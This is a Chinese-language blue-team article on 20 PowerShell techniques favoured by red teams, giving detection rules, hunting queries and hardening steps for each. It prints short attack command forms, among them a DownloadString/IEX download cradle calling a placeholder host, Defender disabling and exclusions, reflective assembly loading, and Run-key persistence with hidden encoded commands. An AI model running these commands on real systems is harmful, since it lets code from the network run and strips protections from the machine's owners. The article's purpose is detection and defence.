PowerShell 攻防:红队最爱用的 20 条命令与蓝队检测

📅 发布时间:2026/7/30 19:09:09
PowerShell 攻防:红队最爱用的 20 条命令与蓝队检测 文章目录写在前面一、先把战场铺平PowerShell 的可观测性1.1 必须开启的日志1.2 红队也懂日志所以你会看到这些对抗1.3 合法基线要先建立二、红队最爱用的 20 条类命令与蓝队检测第 1 条绕过执行策略 —— -ExecutionPolicy Bypass第 2 条隐藏窗口 —— -WindowStyle Hidden第 3 条编码命令 —— -EncodedCommand / -enc第 4 条经典下载摇篮 —— DownloadString IEX第 5 条Invoke-WebRequest / Invoke-RestMethod第 6 条Invoke-ExpressionIEX家族第 7 条从 Base64 / 字节数组反射加载第 8 条AMSI / 日志相关“软关闭”尝试第 9 条本机侦察 —— Get-Process / Get-Service / Get-ChildItem第 10 条权限与令牌勘察 —— whoami 的 PowerShell 等价第 11 条WMI/CIM 信息收集与执行第 12 条域侦察 —— AD 模块 / 目录查询第 13 条WinRM 远程 —— Enter-PSSession / Invoke-Command第 14 条凭据对象与明文密码出现在命令行第 15 条计划任务 / 服务式持久化第 16 条注册表 Run 键与启动项第 17 条关掉或掏空 Defender —— Set-MpPreference / 排除项第 18 条文件与共享 —— New-PSDrive / Copy-Item / Get-Acl第 19 条沙箱逃逸式“活在别的宿主里”第 20 条一句话“套娃” —— 从 cmd 再拉起 PowerShell三、把 20 条收成蓝队作战手册3.1 高置信度“组合拳”规则推荐3.2 分级响应3.3 狩猎查询思路伪查询四、红队视角为什么“仍爱 PowerShell”五、架构级减伤比规则更重要的六件事六、合法演练怎么组织七、结语附录20 条速查表写在前面PowerShell 是微软给管理员的瑞士军刀也是红队在 Windows 环境里最顺手的“活在内存里的指挥壳”。它不需要额外落地大型木马就能完成信息收集、下载执行、横向移动、权限维持、关掉防护、搬运凭据——而且大量操作看起来像“运维脚本”。这造成一个尴尬事实蓝队若只按“黑名单杀 EXE”会对 PowerShell 视而不见若简单“禁用 PowerShell”又会把自动化运维一起打死。正确做法是允许合法管理把异常用法变成高置信度检测。本文挑选红队及真实入侵中出现频率最高的20 类命令/用法逐条说明攻击者为什么用它典型命令形态教学级不含完整武器化载荷蓝队看什么日志、打什么规则如何从架构上减伤适用对象蓝队、SOC、终端安全、授权红队、Windows 运维安全。所有技术仅用于授权评估与防护建设未授权对他人系统使用即违法。一、先把战场铺平PowerShell 的可观测性没有日志的检测都是玄学。开始 20 条之前先确认这四层已开1.1 必须开启的日志日志作用模块日志Module Logging记录加载的模块与部分管道活动脚本块日志Script Block LoggingEvent ID 4104记录实际执行的脚本块含解码后的部分内容转录Transcription可选类似会话录像注意敏感信息与存储 ACL进程创建审计 / Sysmon Event 1看到powershell.exe/pwsh.exe的命令行、父进程、用户、哈希WinRM / 安全登录日志远程 PowerShell 的来源与账户组策略位置示意管理模板 → Windows 组件 → Windows PowerShell - 打开模块日志记录 - 打开 PowerShell 脚本块日志记录 - 打开 PowerShell 转录1.2 红队也懂日志所以你会看到这些对抗-EncodedCommand/ Base64 混淆从剪贴板、环境变量、WMI 属性里拼出真正脚本调用powershell -Version 2老环境降低日志能力用InstallUtil、msbuild、csi等“非 powershell.exe”宿主跑 .NET无文件混淆、字符串拼接、反射加载因此蓝队规则不能只写commandline contains DownloadString还要看父进程、用户身份、是否交互、是否远程、脚本块内容、网络目标、后续行为。1.3 合法基线要先建立在告警风暴前先回答哪些服务器允许 WinRM哪些账号会跑自动任务里的 PowerShell软件分发是否用 SYSTEM 跑签名脚本开发机是否允许无约束 PowerShell把“正常”画出来“异常”才出得来。二、红队最爱用的 20 条类命令与蓝队检测说明下列“典型形态”为教学示例用于识别模式生产环境请用企业检测平台落地并配合变更白名单。第 1 条绕过执行策略 ——-ExecutionPolicy Bypass红队用法powershell.exe-NoProfile-ExecutionPolicy Bypass-File.\a.ps1 powershell.exe-ep bypass-nop-w hidden-c...执行策略本来就不是安全边界可绕过是设计现实但红队几乎每次都会带-ep bypass -nop因为省事。蓝队检测命令行同时出现bypasshiddennop/NoProfile父进程是 Office、浏览器、wscript、mshta、邮件客户端业务服务器上突然出现交互式 bypass减伤用AppLocker/WDAC限制脚本而不是迷信 ExecutionPolicy对powershell.exe命令行做基线运维包装器允许用户进程不允许第 2 条隐藏窗口 ——-WindowStyle Hidden红队用法powershell.exe-WindowStyle Hidden-c...用户看不见黑框配合持久化与远控极常见。蓝队检测-w hidden/-WindowStyle Hidden与网络下载、编码命令同现非 SYSTEM/非软件分发账号使用 hidden减伤终端策略标准用户禁止随意启动隐藏 PowerShell可用 WDAC 发布者规则 路径规则组合第 3 条编码命令 ——-EncodedCommand/-enc红队用法把脚本 Universal Binary Base64 后powershell.exe-enc Base64Blob目的躲简单字符串匹配、躲命令行审计里的明文关键词。蓝队检测命令行含-enc/-EncodedCommand且后跟长 Base64不要停在这里对 Base64 做解码后二次匹配很多 EDR/SIEM 支持对照 4104 脚本块日志常能看到还原后的内容减伤高价值系统对-enc默认告警仅白名单自动化账号例外强制脚本块日志避免“只看见一串编码”第 4 条经典下载摇篮 ——DownloadStringIEX红队用法模式IEX(New-ObjectNet.WebClient).DownloadString(http://example/a.ps1)这是过去十年被写进无数教程的“一句话加载”。现在常变形为DownloadData/DownloadFileInvoke-WebRequest/Invoke-RestMethod.NETHttpClient从磁盘/注册表/图片隐写读取后再IEX蓝队检测脚本块/命令行出现DownloadString、DownloadData、IEX、Invoke-Expressionpowershell.exe后立刻对公网 IP/新域名建立连接Sysmon 3 / EDR 网络证书/智能屏幕未覆盖的 HTTP 明文下载减伤限制工作站出站到脚本托管类站点ASR阻止混淆脚本、阻止 Office 创建子进程对服务器默认禁止随意出站第 5 条Invoke-WebRequest/Invoke-RestMethod红队用法Invoke-WebRequesthttps://example/file-OutFile$env:TEMP\x.exeInvoke-RestMethodhttps://example/api|Invoke-Expression更“现代”、更像运维也常用于拉取第二阶段。蓝队检测IWR/IRM/Invoke-WebRequest写入%TEMP%、%PUBLIC%、用户目录后立即执行非变更窗口的服务器发起外连下载减伤软件安装只走分发系统工作站启用 Network Protection / URL 过滤第 6 条Invoke-ExpressionIEX家族红队用法Invoke-Expression$code$code|IEX([scriptblock]::Create($code))本质把字符串当代码跑是无文件执行的枢纽。蓝队检测4104 中出现Invoke-Expression/IEX/ScriptBlock::Create与拼接字符串、FromBase64String、反射加载连用时升为高危减伤Constrained Language Mode与 WDAC 配合可大幅削弱任意代码能力对服务器运维脚本签名 受限语言拒绝交互 IEX第 7 条从 Base64 / 字节数组反射加载红队用法模式$bytes[Convert]::FromBase64String(...)[System.Reflection.Assembly]::Load($bytes)# 或 Add-Type、UnsafeLoad 等变体用于加载 .NET 程序集常接工具化能力侦察、横向、票据等。蓝队检测FromBase64StringAssembly.Load/Load(同脚本块随后出现异常网络、LSASS 访问、服务创建等减伤AMSIAnti-Malware Scan Interface对不少脚本阶段有效勿随意关启用 Tamper Protection防止攻击者关 AMSI/DefenderWDAC 限制可加载程序集第 8 条AMSI / 日志相关“软关闭”尝试红队意图在内存里绕过或削弱 AMSI、干扰脚本块日志具体手法随补丁快速变化。蓝队检测脚本中出现对AmsiUtils、amsiInitFailed等敏感类型/字段的反射访问高置信短时间内 Defender/AMSI 功能状态被改4104 突然大量缺失却有 powershell 进程日志完整性监控减伤Tamper Protection EDR 传感器双开把“禁用脚本日志 / 禁用实时监控”的注册表与策略更改做紧急告警不在此展开绕过实现防守重点是改防护配置本身就是最高级告警。第 9 条本机侦察 ——Get-Process/Get-Service/Get-ChildItem红队用法Get-ProcessGet-Service|Where-ObjectStatus-eqRunningGet-ChildItemC:\Users-Recurse-Include*.config,*.xml,*.kdbx-ErrorAction SilentlyContinue看似无害实则在找安全产品、可写服务、配置文件里的密码、浏览器目录等。蓝队检测单次会话内高频枚举磁盘 敏感扩展名从 WebShell/未知父进程拉起的大规模Get-ChildItem -Recurse访问多个用户 Profile 的 ACL 异常减伤敏感文件 ACL 收紧密钥进保险库不进共享目录明文对服务器禁止交互式登录到业务账户第 10 条权限与令牌勘察 ——whoami的 PowerShell 等价红队用法whoami/priv whoami/groups[Security.Principal.WindowsIdentity]::GetCurrent()|Format-ListGet-LocalGroupMemberAdministrators决定下一步走服务劫持、令牌模拟还是要域管。蓝队检测同一用户短时间执行whoami /priv、本地管理员枚举、网络探测来自应用池、IIS、SQL、CI 账户的 whoami/特权查询减伤应用池账户剥离交互与无关特权对服务账户的特权使用审计第 11 条WMI/CIM 信息收集与执行红队用法Get-CimInstanceWin32_OperatingSystemGet-CimInstanceWin32_Service|SelectName,PathName,StartNameInvoke-CimMethod...# 远程创建等需权限Get-WmiObjectWin32_Process既用于侦察服务路径、杀软、补丁也用于远程执行Win32_Process.Create 等老手法。蓝队检测异常用户发起远程 WMI/CIM脚本块含Win32_ProcessCreate与横向目标列表同现减伤限制远程 DCOM/WMI 管理入口到跳板优先 WinRM over HTTPS JEA而不是对全网开放 WMI第 12 条域侦察 —— AD 模块 / 目录查询红队用法Get-ADUser-Filter*-Properties*Get-ADComputer-Filter*Get-ADGroupMemberDomain Admins# 无 RSAT 时用 DirectorySearcher / LDAP 查询等价信息这是域内红队的“地图绘制”。BloodHound 类数据很多也来自类似枚举不一定用纯 PowerShell。蓝队检测非 DC/非堡垒机账户短时间大量 LDAP 查询枚举Domain Admins、Enterprise Admins、SPN、ACL 异常读取工作站突发安装 RSAT 或加载 AD 模块减伤监控 LDAP 搜索量与异常调用方AdminSDHolder、特权组变更实时告警普通用户机器禁止安装管理工具包按策略第 13 条WinRM 远程 ——Enter-PSSession/Invoke-Command红队用法Enter-PSSession-ComputerName APP01Invoke-Command-ComputerName APP01,APP02-ScriptBlock{whoami}这是最像正运维的横向方式也是最难单靠字符串查杀的。蓝队检测看谁从哪台打到哪些目标来源是否为跳板非运维时间、非变更单账号的扇出式Invoke-Command远程脚本块内含下载、编码、关防护减伤WinRM 仅开放给管理子网启用 HTTPSJEAJust Enough Administration把远程能力缩到命令白名单特权账户只能从 PAW 发起第 14 条凭据对象与明文密码出现在命令行红队用法不良示范模式$pConvertTo-SecureStringPssw0rd-AsPlainText-Force$cNew-ObjectPSCredential(domain\user,$p)Start-Processcmd-Credential$c或直接把密码写进脚本、任务、DSC 配置。蓝队检测命令行/脚本块出现-AsPlainText、明文密码模式任务计划程序 XML 中可逆密码代码仓库与共享盘扫描ConvertTo-SecureString减伤强制用 gMSA、LAPS、密码库、证书认证CI 密钥扫描禁止明文进库对含-AsPlainText的 4104 默认高危白名单签发脚本除外第 15 条计划任务 / 服务式持久化红队用法Register-ScheduledTask...# 或以 schtasks 包装New-Service-NameUpdater-BinaryPathName...sc.exe create...PowerShell 负责“一次配置长期复活”。蓝队检测新增任务动作指向powershell -enc/ 用户 Temp 目录SYSTEM 任务被非变更流程创建服务路径改为脚本解释器减伤服务与任务变更进 SIEM任务目录 ACLSOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule 监控第 16 条注册表 Run 键与启动项红队用法New-ItemProperty-PathHKCU:\Software\Microsoft\Windows\CurrentVersion\Run-NameSync-Valuepowershell -w hidden -enc ...用户级持久化不需要管理员。蓝队检测Run/RunOnce 写入含 powershell/cmd/mshta/wscriptSysmon 13 注册表事件 进程创建关联减伤登录脚本与 Run 键基线对比用户无法写机器级 RunHKCU 用行为检测兜底第 17 条关掉或掏空 Defender ——Set-MpPreference/ 排除项红队用法Set-MpPreference-DisableRealtimeMonitoring$trueAdd-MpPreference-ExclusionPathC:\ToolsAdd-MpPreference-ExclusionProcesspowershell.exe目标让后续工具畅通无阻。现代系统有 Tamper Protection会阻止部分本地关闭——于是攻击者改打排除项、策略、或先提权。蓝队检测任何DisableRealtimeMonitoring、DisableIOAVProtection、ExclusionProcess含解释器排除路径变为整盘或\Users\*\AppData与本地管理员提权时间线吻合减伤Tamper Protection 强制开排除项仅中央策略下发本地更改告警并回滚把“添加排除”当 P1 事件第 18 条文件与共享 ——New-PSDrive/Copy-Item/Get-Acl红队用法New-PSDrive-Name S-PSProvider FileSystem-Root\\dc01\sysvolCopy-Item\\jump\share\tools.ps1$env:TEMPGet-AclC:\Sensitive|Format-List用于搬工具、读 SYSVOL 脚本找密码、评估是否能写服务目录。蓝队检测工作站访问大量 UNC、尤其 SYSVOL/NETLOGON 后下载脚本敏感目录 ACL 枚举后紧接写入减伤SYSVOL 脚本禁止存密码用 gMSA/密钥方案文件服务器启用审计与 DLP第 19 条沙箱逃逸式“活在别的宿主里”红队用法概念不一定直接打powershell.exe而是powershell_isepwshPowerShell 7通过rundll32、msbuild、regsvr32、自定义 .NET 宿主执行等价能力目的躲只监控powershell.exe的规则。蓝队检测以脚本块日志 / AMSI 为中心而不是只盯进程名监控pwsh.exe与异常父进程对“办公进程 → 开发编译器 → 网络”链告警减伤WDAC拒绝临时编译与未批准宿主开发工具仅安装在开发 OU第 20 条一句话“套娃” —— 从 cmd 再拉起 PowerShell红队用法cmd.exe /c powershell -nop -w hidden -ep bypass -c IEX(...)或由 VBA、HTA、快捷方式、计划任务多层包装。邮件钓鱼里极常见。蓝队检测父进程链outlook → winword → cmd → powershellOffice 子进程 ASR 规则命中命令行长度异常、含 URL、enc、IEX减伤ASR阻止 Office 创建子进程宏仅签名互联网宏禁用邮件沙箱与附件拆解三、把 20 条收成蓝队作战手册3.1 高置信度“组合拳”规则推荐单点容易误报组合更稳Hidden Bypass EncodedCommandIEX Download*FromBase64String Assembly.LoadSet-MpPreference 关闭防护 / 排除解释器Office/浏览器 为父进程的 powershell非跳板机扇出 Invoke-Command服务账户执行 whoami /priv 网络扫描Run 键写入 powershell -enc3.2 分级响应级别例子动作P1关 Defender、Load 反射 LSASS 访问隔离主机、收内存与日志P2下载摇篮、enc 长命令杀进程树、查持久化、强制扫描P3域枚举过量禁账户、查来源、重置密码信息运维跳板正常 Invoke-Command基线白名单3.3 狩猎查询思路伪查询查找 24h 内 Image IN (powershell.exe, pwsh.exe) AND ( CommandLine CONTAINS_ANY (-enc,DownloadString,FromBase64String,Set-MpPreference) OR ParentImage CONTAINS_ANY (winword,excel,outlook,mshta,wscript) ) AND User NOT IN (SoftwareDeploy, ApprovedAutomation)再 join同主机 Sysmon 网络出站4104 脚本块关键词随后 1 小时内服务/任务变更四、红队视角为什么“仍爱 PowerShell”即使 EDR 很强PowerShell 仍被爱用因为环境原生目标机器几乎都有。管理协议复用WinRM、WMI、AD与运维同路。内存友好少落盘、易链式加载。社交不违和对日志不熟的单位脚本流量像运维。跨阶段复用从钓鱼到域控同一语言贯穿。所以红队不会因为“有检测”就弃用而会换宿主、换编码、换下载通道、换合法账号把操作拆进变更窗口或改用 C#/BOF/系统自带二进制LOLBins。蓝队的目标不是“让红队不用 PowerShell”而是用同样用 PowerShell 时攻击成本显著高于运维成本。五、架构级减伤比规则更重要的六件事本地管理员收回 LAPSWDAC/AppLocker Constrained Language Mode高价值系统PowerShell 日志三件套 集中转发Tamper Protection 排除项中央治理WinRM 仅跳板 JEAASR 对 Office/脚本链路 Block规则是牙齿架构是下颚。只有牙齿会咬空。六、合法演练怎么组织搭隔离域开齐 4104 与 Sysmon。红队只用清单内技术禁止对真实外网下发恶意软件。蓝队先盲猎再对照红队时间线补规则。每次演练输出哪些命令被清晰捕获哪些只靠父进程链抓住哪些完全漏报往往是合法账号合法 WinRM把漏报转成 JEA/网络隔离任务而不是无限加关键词。七、结语PowerShell 攻防的本质不是背诵 20 条命令而是理解它是管理平面的编程入口。红队爱它因为入口已存在蓝队怕它因为入口与业务同构。本文的 20 条覆盖了从执行策略绕过、编码下载、反射加载到域侦察、WinRM 横向、凭据与持久化、破坏防护的主路径。你可以立刻做三件极具体的事检查试点 OU 是否真正启用脚本块日志并已进入 SIEM写 5 条以上文“组合拳”规则用历史日志回放给 WinRM 画一张“谁允许打谁”的图把扇出式Invoke-Command变成默认可疑。当命令行、脚本块、父进程、网络、防护配置变更能被串成故事时PowerShell 就不再是红队的黑盒而是蓝队最清晰的叙事线之一。附录20 条速查表#红队手法蓝队第一眼1-ExecutionPolicy Bypassbypass异常父进程2-WindowStyle Hiddenhidden下载/enc3-EncodedCommand-enc 解码二次匹配4DownloadStringIEX下载摇篮出站5Invoke-WebRequestTEMP 落地执行6Invoke-Expression4104 中 IEX7Assembly.LoadBase64反射8削弱 AMSI/日志防护配置变更9广谱文件枚举敏感扩展名递归10whoami /priv服务账户侦察11WMI/CIM远程创建进程12AD 枚举LDAP 暴增13Invoke-Command非跳板扇出14明文SecureStringAsPlainText15计划任务/服务动作含 powershell16Run 键启动项写 enc17Set-MpPreference关防护/宽排除18UNC/SYSVOL 搬运异常共享访问19非 powershell 宿主多宿主AMSI20cmd 套娃Office→cmd→ps